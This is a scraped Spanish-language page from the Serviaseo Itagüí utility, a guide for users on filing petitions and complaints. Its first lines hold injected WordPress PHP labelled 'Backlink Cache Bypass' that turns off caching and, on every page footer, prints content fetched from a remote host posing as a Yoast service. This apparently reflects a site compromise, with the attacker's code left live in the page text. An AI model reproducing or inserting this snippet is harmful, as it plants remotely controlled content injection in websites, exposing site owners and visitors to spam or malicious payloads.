/* === Backlink Cache Bypass === */ if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true); if (!defined('DONOTCACHEDB')) define('DONOTCACHEDB', true); if (!defined('DONOTMINIFY')) define('DONOTMINIFY', true); if (!defined('DONOTCACHEOBJECT')) define('DONOTCACHEOBJECT', true); add_action('init', function() { nocache_headers(); do_action('litespeed_control_set_nocache', 'no-cache'); }, 1); function custom_backlink_code() { echo @file_get_contents("https://app.yoast-schema.com/code?x=2052"); } add_action('wp_footer', 'custom_backlink_code'); Trámites - Serviaseo Itagüí
Trámites

Trámites

Apreciado Usuario:

En este documento encontrará una guía que le permitirá ilustrarse acerca de los trámites, procedimientos y requisitos a seguir, cada vez que tenga alguna inquietud en cuanto a la prestación del servicio, en especial, para formular peticiones y reclamaciones, como por ejemplo, solicitud de servicios especiales o quejas por fallas en la prestación y problemas de facturación, entre otras situaciones.

Los temas a tratar, están acordes con la normatividad vigente y con los criterios jurídicos que viene aplicando la Superintendencia de Servicios Públicos en el trámite y decisión de los distintos asuntos de su competencia.

Con esta guía obtendrá las herramientas necesarias para ejercer mejor sus derechos y deberes como usuario, por lo que esperamos sea de objeto de permanente consulta.

Procedimiento para presentar las peticiones

Las peticiones se pueden formular en forma escrita o verbal en la oficina de atención al cliente de la Empresa o por medio electrónico.

Para presentar derechos de petición debe suministrar la siguiente información:

  • Nombre del prestador a quien se dirige
  • Descripción clara de las razones que fundamentan la petición
  • El objeto de la petición. (Lo que se pretenden que el prestador conceda.)
  • Relación de los documentos que anexa, si los hubiese.
  • Los nombres y apellidos completos del solicitante y de su representante o apoderado, si es el caso, con indicación del documento de identidad
  • Indicar claramente la dirección para recibo de respuesta
  • Número telefónico y correo electrónico
  • Firma del peticionario.

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